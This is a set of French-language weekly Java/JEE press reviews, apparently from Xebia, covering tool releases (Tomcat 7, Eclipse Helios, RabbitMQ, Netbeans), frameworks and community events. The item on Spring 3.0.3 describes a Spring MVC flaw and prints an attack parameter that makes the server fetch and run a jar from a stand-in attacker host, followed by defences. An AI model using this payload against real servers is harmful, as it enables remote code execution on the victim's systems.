Actualité éditeurs / SSII

• Une étude américaine prédit une pénurie d'informaticiens pour bientôt.

SOA

• La future version 1.4 de Smooks supportera les messages UN/EDIFACT

Serveurs d'applications / Cloud Computing

• Tomcat 7 sort en BETA
• Google App Engine 1.3.5 et toolkit Paypal

Le coin de la technique

• Hibernate Validator 4.1.0

Evènements de notre communauté en France et à l'étranger

• Le ParisJUG et l'AvantJUG

Actualité éditeurs / SSII

Une étude américaine prédit une pénurie d'informaticiens pour bientôt.

C'est à la fois une bonne et une mauvaise nouvelle qui est sortie d'un étude américaine sur le marché de l'informatique, rapportée par infoQ : la bonne nouvelle, elle est pour les techniciens que nous sommes, car nous devrions avoir du travail pendant un long moment. La mauvaise nouvelle est pour nos employeurs, qui vont avoir de plus en plus de mal à recruter.
Les prévisions qui ressortent de cette étude sont les suivantes :

• la croissance du secteur informatique devrait être quatre fois supérieure à celle des autres métiers de l'ingénierie dans les années à venir.
• aux Etats Unis, il y a deux fois plus d'offres que de diplômés chaque année. C'est le seul métier scientifique pour laquelle l'offre est supérieure à la demande.

En parallèle de l'augmentation des besoins, il semble que les étudiants percoivent les métiers de l'informatique de manière erronée :

• Tous les postes motivant sont exportés en Inde. Le mouvement global (aussi bien aux Etats Unis qu'en Europe) est plutôt à un retour des activités intéressantes en local, et une exportation des taches à faible valeurs ajoutées.
• C'est un métier d'homme. Ce fait avéré est en train de changer, en partie grâce à certaines initiatives locales (voir ci-dessous). Même si la balance est loin d'être équilibrée, il semblerait que de plus en plus de demoiselles choisissent les carrières techniques. C'est à nos communautés de les convaincre de les poursuivre !
• L'informatique, c'est programmer, et programmer c'est rester toute la journée devant un écran. Tous les consultants vous le diront, même si ils ne pratiquent pas l'XP, l'informatique est une activité sociale
• C'est trop difficile. S'il est sûr que comprendre les algorithmes de GC en détail relève parfois de la mission impossible, tous les chefs de projets ou scrum master vous le diront : travailler dans l'informatique, c'est avant tout gérer son stress, gérer ses connaissances (et les augmenter au fur à et mesure) et se montrer inventif.

Il existe ainsi un certain nombre de mythes, que certains professeurs américains tentent de démonter.

Les défis à venir sont énormes, puisqu'il va falloir réconcilier le désamour des étudiants pour les carrières informatiques, et les besoins des entreprises qui s'annoncent énormes. Bien heureusement, un certain nombre d'acteurs français essayent de proposer une vision du marché de l'informatique plus humaine que d'autres.

A ce propos, vous savez que Xebia recrute ?

SOA

La future version 1.4 de Smooks supportera les messages UN/EDIFACT

L'équipe de développement de Smooks vient d'annoncer le support du traitement des messages EDI (Échange de Données Informatisées) au format UN/EDIFACT Interchange, dans la future version du projet.

Pour rappel Smooks est un framework Java offrant un moteur de traitement des données XML et non XML (CSV, EDI, Java, etc.). Il est capable d'effectuer des transformations de données en s'appuyant sur des transformations existantes, ou en utilisant des technologies de templating telles que XSLT, Freemarker, StringTemplate, etc. Smooks permet également d'analyser un flux de données afin de remplir un modèle d'objets Java (Java Bean Binding).

Le framework Smooks peut prendre en charge les modèles de traitement DOM et SAX, ce qui signifie qu'il est capable de traiter aussi bien un fichier qu'un flux de données.

Ainsi, les messages EDI pourront être traités grâce à deux nouvelles fonctionnalités :

• Un module de lecture dédié au format UN/EDIFACT Interchange (<unedifact:reader>), qui permettra de transformer un message EDI de manière automatique dans un format XML compréhensible par le moteur de traitement de Smooks.

• Un outil pour Maven et ANT, appellé EDI Conversion Tool (ECT), embarquant directement les référentiels UN/EDIFACT, et offrant la possibilité de générer un Jar contenant les fichiers de mapping Smooks correspondant au message EDI traité.

Avec ces nouvelles fonctionnalités, Smooks propose une véritable alternative Open Source et performante aux solutions propriétaires pour le traitement des messages EDI au format UN/EDIFACT. Déjà intégré au sein de Mule ESB et de JBoss ESB, Smooks devient de plus en plus incontournable au sein des architectures SOA s'appuyant sur des solutions Open Source.

Ces nouveautés sont déjà disponibles dans la version 1.4-SNAPSHOT, téléchargeable directement depuis le repository Maven du projet.

Pour en savoir plus :

• L'annonce sur le blog de Smooks
• Le site du projet Smooks
• Le format UN/EDIFACT Interchange

Serveurs d'applications / Cloud Computing

Tomcat 7 sort en BETA

Après 18 mois de travail, Apache nous livre la première version officielle de Tomcat 7. Cette nouvelle release est désormais disponible dans les pages de téléchargements du site http://tomcat.apache.org qui intègre pour l'occasion la documentation du précieux. Comme promis de longue date, Tomcat 7 implémente les Servlet 3.0, ainsi que JSP et EL 2.2.

A ces mises à niveau s'ajoutent de nouvelles fonctionnalités:

• Détection et prévention des fuites de mémoire, pour en finir avec les OutOfMemory au rechargement des applications web liés à l'utilisation du PermGen. Ce développement avait été porté sur Tomcat 6, début avril, le voilà disponible tout naturellement sur Tomcat 7.
• La sécurité est aussi largement améliorée avec notamment un filtre permettant de bloquer les attaques de type Cross Site Request Forgery. C'est aussi une nouvelle gestion des rôles pour Tomcat Manager et Host Manager.
• La gestion d'alias de répertoire à la mode apache.
• Enfin, la possibilité d'embarquer et de lancer Tomcat simplement, ce qui ne manque pas de faire penser à Jetty.

Outre toutes ces nouveautés, le code a subi une vaste cure de nettoyage et l'équipe affirme avoir porté toutes les corrections de bugs des versions précédentes dans Tomcat 7. Nous en reparlerons sûrement sur le blog, en attendant, n'hésitez pas, faites le tour du propriétaire et sachez apprécier la nouvelle décoration.

Pour en savoir plus:

• http://www.tomcatexpert.com/blog/2010/06/29/apache-tomcat-7-has-been-released
• http://tomcat.apache.org/download-70.cgi
• http://java.dzone.com/articles/tomcat-lucky-number-7-beta

Google App Engine 1.3.5 et toolkit Paypal

La sortie de Google App Engine en version 1.3.5 apporte comme à son habitude son lot de nouveautés et de corrections pour les développeurs Java et Python:

• Une amélioration de la Task Queue API permettant de traiter 50 reqs/sec par queue au lieu de 50 reqs/sec par application. Google promet d'ailleurs de futures améliorations de scalabilité relatives à cette API.
• Le support pour la précompilation de fichiers sources Python
• Une amélioration de l'API BlobStore permettant la lecture d'un blob tel un fichier avec une classe BlobstoreInputStream.

La réelle nouveauté vient cependant de PayPal annonçant le support de sa plateforme de paiement PayPal X pour GAE.

A travers sa plateforme PayPal X, le leader du micro-paiement sécurisé propose une API clé en main, permettant aux développements d'embarquer différentes solutions de paiement dans leurs applications via différents modèles de monétisation: Le freemium, les abonnements, le pay-per-use, les micro transactions. PayPal souhaite ainsi fournir une solution de paiement adaptée à tous les besoins.

Grâce à ce nouveau service orienté e-commerce et entreprise, le géant de Moutain View espère bien profiter de la demande croissante des entreprises envers l'hébergement d'applications sur une architecture cloud, et continuer de développer son offre destinée aux entreprises.

Pour en savoir plus:

• Billet du blog Google App Engine présentant le toolkit PayPal X
• PayPal X toolkit
• Annonce de la sortie de Google App Engine 1.3.5

Le coin de la technique

Hibernate Validator 4.1.0

Outre quelques corrections de bugs et améliorations de performance au niveau de certains parsings, cette version d'Hibernate Validator fournit de nouvelles fonctionnalités intéressantes, assez bien détaillées sur le blog de Gunar Morling, un des développeurs du projet.

Pour commencer, quelques types de contraintes ont été ajoutés:

• @CreditCardNumber : permet de valider un numéro de carte de crédit selon l'algorithme de Luhn
• @NotBlank : Le champ ne doit être ni null, ni vide, ni contenir que des espaces
• @URL : valide une URL, on peut préciser le protocole, http par exemple
• @ScriptAssert : cette contrainte permet de déléguer à un langage script tiers la validation du champ, ceci étant rendu possible grâce à la JSR-223 permettant l'intégration de languages de script dans Java (à partir de la version 1.6). Plus de détail ici

De plus il est possible maintenant de choisir sa propre stratégie pour récupérer les ResourceBundle, pour par exemple associer un message d'erreur à un champ. Il suffit pour cela de fournir une implémentation de l'interface ResourceBundleLocator qui contient une méthode retournant un ResourceBundle. On peut donc par exemple stocker ces messages dans une base de données.

Enfin cette version introduit la possibilité de créer des contraintes programmatiquement. Voici un exemple qui vient de la documentation:

On utilise le principe des méthodes chainées, ça rappelle de loin les Criteria d'Hibernate. Entre cette possibilité et celle des @ScriptAssert, l'utilisateur a désormais deux nouveaux outils pour exprimer des contraintes relativement complexes.

Evènements de notre communauté en France et à l'étranger

Le ParisJUG et l'AvantJUG

Ce mardi aura lieu la soirée du ParisJUG comme tous les deuxièmes mardis du mois. Au programme de cette soirée, les EJB 3 présenté par Adam Bien. Vous voulez avoir une idée du contenu de la soirée ? Alors lisez le billet publié par le blog des JDuchess France qui résume les concepts que présentera Adam Bien ce soir là.
Comme depuis quelques mois déjà, le ParisJUG sera précédé de l'AvantJUG. C'est un évènement organisé par les JDuchess France pour faire connaissance avant de débuter la soirée du Paris JUG. A l'origine pour inciter les femmes à venir au Paris JUG, cette rencontre est ouvert à tous ceux qui veulent discuter et partager. Si vous voulez avoir une bonne excuse pour motiver une collègue à venir au ParisJUG ou tout simplement échanger autour d'un verre, venez donc à l'AvantJUG ! Toutes les modalités pour l'inscription se trouvent ici.

Outils

• Helios, Eclipse 3.6

SOA

• Tomcat Stats: administrer Tomcat depuis son iPhone

Le coin de la technique

• Articles sur Groovy/Spring et Grails/Hibernate
• Un nouveau top 10 orienté performance

Agilité

• Happy birthday Post-It !

Outils

Helios, Eclipse 3.6

Après avoir épuisé les principales lunes de Jupiter (Callisto, Europa, Ganymède, Galileo), voici venu le tour d'Helios pour incarner la version annuelle d'Eclipse. Cette livraison ne contient pas moins de 39 projets de la fondation Eclipse et les supports pour Windows7, Ubuntu 10.04 et PowerPC 64 bit ont été ajoutés.

Pour ceux qui aiment ajouter une multitude de plugins à leur Eclipse, au lieu de passer par le "Install new software...", un lien direct vers le Marketplace permet très facilement d'installer ces plugins, un peu à la manière d'un plugin Firefox (tout comme le redémarrage obligatoire). L'ancienne méthode marche toujours pour les applications qui ne se trouvent pas sur le Marketplace. Et sûrement que les fans de DVCS (Distributed Version Control System) vont se précipiter sur le plugin EGit/JGit pour gérer ses sources sous Git, JGit étant l'implémentation full java utilisée également sur d'autre projets alors qu'EGit est sa surcouche pour Eclipse. Le résultat est assez prometteur.

En ce qui concerne uniquement Java, quelques petites améliorations ont été apportées:

• Les options du formatter acceptent plus de sémantiques comme les annotations, la déclaration de méthodes ou la possibilité de désactiver le formatter d'une partie du code (intéressant pour aider des merges compliqués).
• Les fonctionnalités sur le breakpoint, comme l'ajout d'une condition ou le compteur, sont à présent directement accessibles dans le panel breakpoints et non plus en passant par un menu contextuel dans le code.

La version 3.7 devrait surtout se concentrer sur Java7. Ian Bull d'Eclipse propose un top ten intéressant pour faire le tour des fonctionnalités. Arrive en tête l'application Xtext qui permet d'écrire son propre DSL puis de générer à partir de celui-ci son propre éditeur Eclipse contenant la complétion et différents outils pour coder dans ce nouveau langage. Une affaire à suivre.

Mais malgré toutes les nouvelles fonctionnalités, Helios sera surtout scruté pour les multiples bugs corrigés, sa gourmandise en RAM et sa stabilité, ce que seule une pratique intensive pourra valider. Alors à vos souris !

SOA

Tomcat Stats: administrer Tomcat depuis son iPhone

MuleSoft, plus connu pour son ESB Open Source Mule, a récemment annoncé la sortie de Tomcat Stats, la première application de monitoring Tomcat pour iPhone. Cette application gratuite vient enrichir l'offre de support également gratuite, proposée par MuleSoft depuis maintenant presque une année. L'application permet à un administrateur de gérer à distance plusieurs instances de Tomcat, qu'elles soient installées au sein de l'infrastructure propre de l'entreprise ou dans le Cloud. L'ensemble des informations critiques des serveurs administrés pourra alors être consulté depuis l'application, notamment l'utilisation mémoire, les statistiques sur le traffic Web, ainsi que le statut du serveur.

Pour télécharger l'application, rien de plus simple il suffit de se rendre sur l'App Store, directement depuis son mobile, ou sur iTunes à l'adresse suivante : Tomcat Stats By MuleSoft Inc.

Bien qu'un peu gadget, et pas vraiment indispensable, cette application iPhone offrira toujours aux administrateurs la possibilité de prolonger leur pause café sans avoir à culpabiliser.

Le coin de la technique

Articles sur Groovy/Spring et Grails/Hibernate

IBM developerWorks nous a récemment gratifié d'un article en 2 parties intitulé "GroovierSpring". Dans la première partie, nous apprenons à définir des beans Spring en Groovy. Quatre méthodes sont à notre disposition:

• Utilisation de classes Groovy compilées en .class normaux
• Utilisation de classes Groovy directement sous forme de .groovy
• Utilisation de scripts Groovy en ligne, écrits dans la configuration Spring
• Utilisation de Bean Builder de Grails

Cette dernière possibilité permet de créer des beans dynamiquement, à partir de code Groovy. Cela sous entend que l'on peut, par le code, adapter les beans obtenus selon le contexte, les créer en utilisant des boucles, de la logique... C'est d'ailleurs une solution utilisée dans Grails.

Une fois les beans correctement définis, nous pouvons les utiliser comme n'importe quel bean Java défini plus classiquement. Le fait que les beans soient à l'origine en Groovy est complètement transparent à l'application.
La seconde partie de l'article va plus loin en explorant le rechargement à chaud des beans Groovy. C'est une plus-value importante: qui n'a jamais rêvé de pouvoir changer facilement certains bouts de code soumis aux désirs changeants des clients (ou à des bugs récurrents !) ? De plus, l'article propose une implémentation permettant de stocker son code Groovy en base de donnée, car il n'est pas toujours évident d'accéder au système de fichier des applications en production. C'est une idée assez peu conventionnelle ! D'ailleurs, le paragraphe de fin, intitulé "When Groovy scripts go bad", constitue une mise en garde pour ne pas abuser de ces possibilités, et être conscient des problèmes de sécurité soulevés.

Tant que nous somme dans le monde de Groovy, il nous semble intéressant de vous indiquer un article du blog de SpringSource qui s'intitule "GORM Gotchas (Part 1)". Il pointe du doigt des comportements de GORM (la couche de persistance de Grails basée sur Hibernate) pouvant sembler bizarres. Les habitués d'Hibernate n'apprendront pas grand choses, mais l'article éclairera sans doutes ceux qui, attirés par la simplicité de Grails, se sont mis à l'utiliser sans expérience préalable d'Hibernate. Ils comprendront ainsi pourquoi leurs objets ne sont pas toujours sauvegardés immédiatement malgré un appel à "save()", et pourquoi ils le sont parfois en l'absence d'appel à cette même méthode. Un autre article traitant de Grails et Hibernate nous vient de Ted Naleid. Celui-ci explique comment il a pu améliorer les performances de son batch en flushant la session Hibernate et en vidant une Map de validation utilisée par Grails en interne. Ces 2 opérations exécutées régulièrement au cours du batch lui ont permis de démultiplier les performances. Grails s'appuie sur Hibernate, et il est parfois bon de se remémorer le fonctionnement de celui-ci pour expliquer et remédier à des problèmes observés coté Grails !

Un nouveau top 10 orienté performance

Ce top10 se trouve sur le blog de l'éditeur Dynatrace. A travers ce que ses consultants ont pu voir chez leur client (on parle donc d'un top 10 sélectif, chez des clients qui avaient conscience d'avoir des problèmes et qui pouvaient se permettre de les diagnostiquer avec un outil comme Dynatrace), il dresse un panorama qu'il est bon de toujours avoir à l'esprit durant nos développements. Nous nous sommes permis de le compléter avec nos propres retours d'expérience.

• une base de données trop sollicitée, ce qui inclut des données requetées trop grandes, ou requetées plusieurs fois, ou encore de trop nombreuses requêtes pour rapatrier une seule donnée (problème des mauvais usage des ORM).
• une mauvaise programmation concurrente, avec un excès de synchronisation.
• un manque de compréhension des appels remote et donc un trop grand nombre d'appels.
• un mauvais usage des frameworks de mapping objet - relationnel. Ce point est largement répandu chez nos clients, en couvrant un large spectre, du simple problème de paramétrage à l'utilisation la plus hors de propos de la librairie.
• l'existence de fuite mémoire (mais pourquoi ce point n'a t'il pas été placé en premier ?)
• une librairie tierce coupable de mauvaises performance. Avec la multiplication des composants dans nos applications, le risque d'introduire des librairies moins robustes et moins performantes existe. Nous avons toujours trouvé étonnant de voir partir en production certains projets basés sur des librairies en béta...
• une mauvaise utilisation des ressources machine (CPU, I/O...). Un traitement prend 50 % de CPU pendant 2 ms. Pas de quoi fouetter un chat ? Multipliez le par 1000 utilisateurs, une consommation mémoire excessive entraînant de fréquents GC, et nous en reparlerons.
• des sites web trop chargés. La bande passante ne cesse d'augmenter, mais ce n'est pas une raison pour surcharger vos frontaux avec de nombreuses images trop volumineuses, des appels AJAX incessants, en ignorant joyeusement les stratégies de cache navigateur et/ou serveur.
• une mauvaise gestion de caching des objets en mémoire. Surchargez votre mémoire pour alléger votre base, et c'est le Garbage Collector qui vous rappellera à l'ordre.
• la sérialisation coute cher. Attention donc, si vous multipliez les appels RMI ou SOAP, à ne pas sérialiser trop d'objets, ou des objets trop volumineux.

Nous avons échangé les places du point n°10 et du point bonus. Le point n°10, même si il a une réalité tangible, nous paraissait un peu trop marketing (mais c'est en partie la raison de vivre d'un blog éditeur) et nous préférons le déplacer en bonus :

• le problème intermittent, invisible. C'est celui dont il faut se prémunir en multipliant les tests (fonctionnels, de charge) ou en étant idéalement outillé.

Agilité

Happy birthday Post-It !

Et pour conclure cette revue de presse, nous ne résistons pas à l'envie de partager avec vous cette nouvelle d'importance: les Post-It, ces fameuses petites notes collantes multicolores, fêtent leurs 30 ans. Rappelons que l'utilisation de Post-It est devenue partie intégrante de la pratique de Scrum. Comment mettre à jour facilement la liste des tâche d'un Sprint sans Post-It ?! Alors pour leur rendre hommage, regardons quelques photos ou encore cette magnifique vidéo de laquelle ils sont les acteurs majeurs. Bon anniversaire les p'tits gars !

La revue de presse de l’actualité Java/J2EE hebdomadaire proposée par Xebia.

Actualité éditeurs / SSII

• RabbitMQ 1.8

RIA

• Du côté de chez Play! Framework
• ExtJS + Raphael + jQtouch = Sencha

SOA

• WSO2 lance Stratos, un PaaS ouvert

Le coin de la technique

• Spring, version 3.0.3 et faille de sécurité
• Trucs et astuces pour Eclipse
• Sortie d'Apache Click 2.2.0
• Netbeans 6.9
• Choisir entre mod_jk et mod_proxy, par Mark Thomas

Actualité éditeurs / SSII

RabbitMQ 1.8

Alors que des idées originales sont proposées autour de RabbitMQ, comme cette proposition de clustering de session dans Tomcat, la nouvelle version sort enfin des cartons.

La possibilité d'ajouter un plugin pour modifier la persistance des messages et un autre pour définir ses propres types d'échanges semble s'adresser surtout aux spécialistes (RabbitMQ pour l'instant ne propose qu'un mode de persistance même si un nouveau est annoncé prochainement).

Un gros effort a été fourni également pour se rapprocher de la version 0.9.1 de la spécification d'AMQP qui est actuellement en version 0.10 et déjà supportée par Qpid. Inutile donc de rêver à la futur version 1.0 qui encore en phase de validation et qui demandera beaucoup d'efforts aux brokers pour l'implémenter. Néanmoins RabbitMQ profite de cette montée de version pour améliorer sa sémantique, par exemple en ne permettant plus de acker plusieurs fois un même message.

On peut regretter aussi que cette version n'apporte pas de nouveaux ponts vers Spring, suite à son rachat par VMWare, même s'il existe déjà des solutions externes.

Une nouveauté tout de même sympathique, la possibilité à présent de passer par Maven pour le client Java :

Bien que cette version ne révolutionne rien, elle corrige pas mal d'imperfections et il est chaudement conseillé de l'installer.

RIA

Du côté de chez Play! Framework

Play!, le framework qui monte, qui monte, vient de passer un cap important : une Cheat Sheet vient de lui être consacrée !

Les releases s'enchaînent à un tel rythme que cette antisèche est pour la version 1.0.2.1 alors que Play! en est déjà à la 1.0.3. Mais elle devrait tout de même se révéler fort utile pour débuter en toute quiétude, sans avoir à chercher dans la doc toutes les 30 secondes.

• Play! Framework Cheat Sheet

Egalement à signaler, le lancement d'une plateforme pour héberger vos applications Play! : PlayApps. En quelques clics, vous pouvez désormais réserver un espace dimensionné à vos besoins et déployer une application rapidement. Base MySql, accès SSH, et un joli tableau de bord qui a l'air assez complet, pour manager vos applications. Si certains lecteurs ont des retours à faire sur cette offre, nous n'avons pas encore eu l'occasion de tester ça, et nous sommes curieux.

ExtJS + Raphael + jQtouch = Sencha

Nous connaissons ExtJS mais pas forcément la compagnie qui se trouve derrière le framework. Celle-ci ayant grossit ces derniers mois, une nouvelle identité nous est désormais proposée : ExtJS devient Sencha ! (via ajaxian)

Alors, qu'y a-t-il derrière cette nouvelle identité ? Et bien plusieurs produits déjà sortis et d'autres encore en incubation :

• Sencha Touch : framework HTML5 pour développement mobile (iPhone et Android) ;
• Ext Designer : application desktop de création d'interfaces ;
• Ext JS : on ne présente plus ce framework de création d'interfaces riches en Javascript ;
• Ext GWT : Ext JS pour les développeurs Java et GWT ;
• Ext Core : librairie Javascript cross-browser ;
• [Labs] jQTouch : librairie de développement mobile léger avec animation et plugin UI pour jQuery ;
• [Labs] Raphaël : librairie de développement de graphiques vectoriels SVG ;
• [Labs] Connect : framework regroupant Rack et NodeJS (j'attend déjà avec impatience !) pour un serveur d'application lean et event driven.

Bienvenue donc à Sencha et à sa pléiade de produits déjà fortement utilisés dans la communauté.

SOA

WSO2 lance Stratos, un PaaS ouvert

WSO2, éditeur de la plateforme open source de middleware Carbon, a annoncé en début de mois sa nouvelle plateforme PaaS Stratos. D'après Paul Fermantle, CTO de la firme, leur offre se démarque des autres PaaS du marché comme Google App Engine, par les points suivants :

• contrairement à GAE ou Force.com, Stratos peut être utilisé aussi bien sur des nuages privés que public,

• Stratos n'offre pas seulement une plateforme pour le développement d'applications web, mais une architecture d'un SI d'entreprise complète avec notamment un ESB, de l'orchestration de services, etc ...,

• Stratos se repose essentiellement sur des standards ouverts et des modes de déploiement classiques ce qui favorise la portabilité des applications.

Vous pouvez d'ores et déjà l'essayer à cette adresse

Le coin de la technique

Spring, version 3.0.3 et faille de sécurité

Grâce aux feedback de la communauté sur Spring 3.0.2, et à plusieurs semaines de travail, SpringSource nous livre une version 3.0.3 corrigeant plus d'une centaine de bugs mineurs. Les aspects ayant le plus bénéficié de ce travail sont les taglibs JSP et les supports de OpenJPA 2.0, Hibernate 3.5.2 et JBoss 6.0.0 M3, annoncés comme pleinement opérationnels maintenant.

Plus de détails sur l'annonce officielle. Il est à noter que cette version corrige une faille de sécurité assez importante découverte sur la partie MVC et remontée par Meder Kydyraliev, de l'équipe sécurité de Google. Les versions 2.5 et 3.0.0 du framework sont touchées par cette faille.

Le principe de l'attaque consiste à :

1. Réaliser un jar accessible depuis internet avec un fichier META-INF/spring-form.tld et un répertoire META-INF/tags/ contenant le code Java du tag
2. Soumettre un formulaire avec le paramètre HTTP : class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/
3. Ensuite, le comportement interne de Spring fait qu'il va télécharger http://attacker/attack.jar pour l'exécuter sur la JVM du serveur d'application.

Pour se défendre de ce type d'attaque il y a deux possibilités :

• Faire une mise à jour du framework Spring (de 2.5.6 à 2.5.7 ou 3.0.0.RELEASE à 3.0.3.RELEASE)
• Ou définir une règle firewall pour empêcher le téléchargement des fichiers indiqués dans l'URL soumise

Pour plus détails, je vous invite à lire le billet de Julien Dubois sur son blog Responcia

Sortie d'Apache Click 2.2.0

Apache Click est un framework web JEE orienté composants et évènements. Les pages et les composants sont développés en Java alors que la partie templating s'écrit en Velocity, en FreeMarker ou en JSP. Click est stateless par défaut mais peut être paramétré pour être stateful. A noter qu'il est top-level project chez Apache depuis Novembre 2009.

Les nouveautés de cette version sont nombreuses. Elles vont de la mise à jour des versions de Velocity et Cayenne en passant par la correction de bugs divers concernant la gestion des dates dans Click ainsi que l'ajout de nombreuses classes techniques apportant chacune leur lot de nouveautés.

Les liens utiles : téléchargement, guide utilisateur et exemples.

Trucs et astuces pour Eclipse

De plus en plus de développeurs sont convaincus par IntelliJ IDEA, l'IDE de JetBrains. Les raisons sont diverses et variées : de meilleurs plugins, une meilleure intégration avec de nombreux frameworks ou bien encore de nouvelles fonctionnalités manquant cruellement à Eclipse. Certes, IDEA apporte son lot de changements par rapport à Eclipse mais il faut toutefois remarquer que de nombreuses fonctionnalités de ce dernier ne sont pas bien mises en avant par l'IDE et sont mêmes pour certaines inconnues des développeurs. Voilà donc une petite série d'articles du côté de chez CertPal de type trucs et astuces qui vous permettra peut-être de découvrir quelques fonctionnalités d'Eclipse.

Le premier article se consacre au code templates. Exemple : la complétion sur syso nous génère automatiquement System.out.println(). De nombreux templates sont déjà disponibles et il sera bien sûr possible d'en ajouter très facilement. L'auteur nous présente alors quelques possibilités de templates comme le go générant un main, le log générant une variable de log avec les imports adéquats ou bien encore le tryf générant un block try/catch/finally.

Le second se focalise sur le débogage de l'application. Cela commence par la mise en place du remote debugging. Puis, l'auteur détaille les points d'arrêt conditionnels, la vue display qui permet l'exécution de code live avec toutes les variables du scope à disposition, la définition d'un detail formatter spécifique et la modification live de valeurs depuis la vue d'inspection. Un très bon article et un très bon rappel de tous les outils et fonctionnalités qui sont à notre disposition pour le debug de nos applications.

Enfin, sorti en début de semaine dernière, un troisième article, plus global, décrit plusieurs astuces comme la définition de raccourcis spécifiques, la customisation de la complétion, l'import/export des préférences ou la très intéressante vue local history.

La série n'étant peut-être pas finie, il faudra garder un œil pour un éventuel quatrième article.

Netbeans 6.9

Aprés IntelliJ et Eclipse, Netbeans ! Netbeans 6.9 est sorti la semaine dernière, environ 7 mois après la 6.8 avec en guest star JavaFX Composer. Pensé un peu comme Java Swing Builder (anciennement projet Matisse), disponible aussi dans Netbeans, cet outil permet de construire graphiquement des éléments d'un formulaire, associés à des états et une source de données. Tout comme l'ajout du support de PHP Zend Framework, cette fonctionnalité devrait attirer quelques développeurs plus web que java.

Parmi les autres nouveautés :

• intégration d'OSGI
• support de Spring 3.0.0
• support REST web services pour les applications RCP
• support de Rails 3.0

A noter aussi que cette version est accompagnée de la nouvelle version 3.0.1 de Glassfish qui corrige au moins une centaine de bugs.

Bien que ce soit une version majeure, pas sûr néanmoins qu'elle fasse de l'ombre à la version annuelle d'Eclipse, Helios de son petit nom, qui sort très prochainement et dont on parlera également dans cette revue de presse.

Choisir entre mod_jk et mod_proxy, par Mark Thomas

Nous avons déjà parlé sur le blog, Mark Thomas enfonce le clou. Sur le blog Tomcat Expert, il s'est fendu d'un nouvel article qui se veut une checklist pour choisir entre le mod_jk et le mod_proxy. Mark commence d'ailleurs en disant clairement que ce sont les seules solutions à considérer aujourd'hui. Il affiche sa préférence pour le mod_jk et le mod_proxy_http face au mod_proxy_ajp encore un peu jeune. Ses conclusions sont:

• Si vous devez crypter la communication entre Apache et Tomcat, utilisez le mod_proxy.
• Si vous devez exposer à Tomcat les informations SSL, utilisez le mod_jk.
• Si vous avez déjà un de ces modules en production, ne changez rien.
• Mark préfère le mod_proxy_http, pour sa configuration plus consistante.

Pour plus d'information, vous pouvez lire son article sur le blog Tomcat Expert, ou connaître notre avis sur la question: mod_proxy vs mod_jk.

Actualité éditeurs / SSII

• HornetQ 2.1

Le coin de la technique

• Git podcastcodé
• Fuites mémoires dans Tomcat

Actualité éditeurs / SSII

HornetQ 2.1

La version 2.1 d'HornetQ est sortie la semaine dernière. Trois nouvelles fonctionnalités importantes ont été apportées :

• La possibilité de regrouper des petits messages, au niveau du protocole TCP, dans un seul envoi
• Ajout du protocole STOMP, un protocole de messagerie texte très simple mais qui a l'avantage de s'adapter à de nombreuses plateformes et langages.
• Implémentation de l'API WebSocket pour STOMP. WebSocket est apparu avec la nouvelle norme HTML5 et propose une normalisation de l'API javascript pour tout ce qui concerne le maintien d'une socket vers le serveur, reprenant le principe de Comet.

Ces deux derniers points sont aussi prévus dans la version 5.3.4 d'ActiveMQ.

Dans la roadmap de la version 2.2 :

• Rest: accepter le protocole HTTP
• Serverless: un client HornetQ embarquant un serveur
• AMQP: implémentation de la version 1.0, pas encore finalisée, de ce protocole

Le coin de la technique

Git podcastcodé

Avec ce titre, nous voulons signaler que Git, le gestionnaire de versions décentralisé, a été mis à l'honneur du dernier épisode du podcast des Cast Codeurs. Emmanuel Bernard, de JBoss, interroge David Gageot d'Algodeal, qui utilise Git depuis 2 ans déjà, et nous livre quelques bons cas d'utilisation et exemples.
Alors quels sont les arguments utilisés pour vanter ce DVCS ? Ce qui ressort c'est surtout le gain de temps et le fait que Git ne se met pas en travers du chemin de ses utilisateurs. Les commits sont rapides car en local, et seuls les changements sont commités, pas les versions finales des fichiers. Un bénéfice qui en découle est que les développeurs sont ainsi poussés à commiter souvent. Git détecte aussi automatiquement les déplacements et renommages des fichiers , ce qui permet des refactorings agressifs.
Bien sûr, David Gageot évoque la question que tout le monde se pose: si la même ligne change à 2 endroits, que se passe-t-il alors ? Effectivement, ce cas doit être résolu manuellement, mais il précise que, grâce aux commits fréquents qu'encourage Git, et comme il se base sur les modifications successives, ce cas survient moins souvent.
Une méthodologie particulière, qui intéressera tous ceux qui ont déjà passé des heures à chercher quel commit avait été à l'origine d'un bug, est aussi décrite. Elle se base sur l'outil git-bisect pour détecter rapidement (par dichotomie) la révision où un bug est apparu. La description de cette fonctionnalité est assez bluffante !
En vrac, sont aussi évoqués:

• Git SVN qui permet de se faire la main en local sur Git tout en continuant d'utiliser le SVN de son équipe par exemple.
• Git Hub présenté comme la killer app de Git qui est en quelque sorte un Sourceforge 2.0, plus social.
• L'absence de vraie roadmap publique, justifiée par le développement qualifié d'organique, mais la bonne progression du projet n'en semble pas affectée.

Au final, une phrase qui résumera bien tout cet entretien est "Git, si tu as besoin de le vendre à ton manager, change de manager" . David Gageot entend par là montrer à quel point Git améliore la productivité.
Emmanuel Bernard semble d'ailleurs avoir été tellement convaincu qu'il vient de publier un article intitulé "Git: how my life has improved since last month when I used SVN".
Et pour terminer sur Git, notons qu'InfoQ annonce les dernières versions des plugins Eclipse JGit et Egit. Jgit est la librairie Java permettant de communiquer avec un repository Git, alors que EGit est son frontend graphique permettant d'y accéder dans Eclipse. Il est précisé que le format étant standardisé, il est possible (voir recommandé, car le développement est encore en cours) d'utiliser ces plugins conjointement à Git version ligne de commande. C'est quelque chose qu'apprécieront les nombreuses personnes ayant déjà eu des problèmes suite à une montée de version de SVN en ligne de commande alors que les plugins SVN pour Eclipse, inchangés, étaient rendu non fonctionnels (voir corrompaient carrément les fichiers !).

Fuites mémoires dans Tomcat

Vous êtes en train de tester votre application qui tourne sur Tomcat depuis votre IDE mais vous aimeriez faire une petite modification sur votre contrôleur et vous êtes en build automatic. La compilation se met en marche et là, pas de chance, les piles d'erreurs s'accumulent dans votre console. Plus rien ne fonctionne, vous êtes bon pour redémarrer votre serveur.

Ce problème bien connu, du en général à des OutOfMemoryException, arrive car la dé-allocation des objets utilisés se passe mal, la pile PermGen de la JVM accumule les objets sans dégrossir provoquant des PermGen Exception. Une interview très intéressante de Mark Thomas, commiter sur Apache Tomcat, nous éclaire sur le pourquoi du comment et les améliorations prévues pour Tomcat 7.

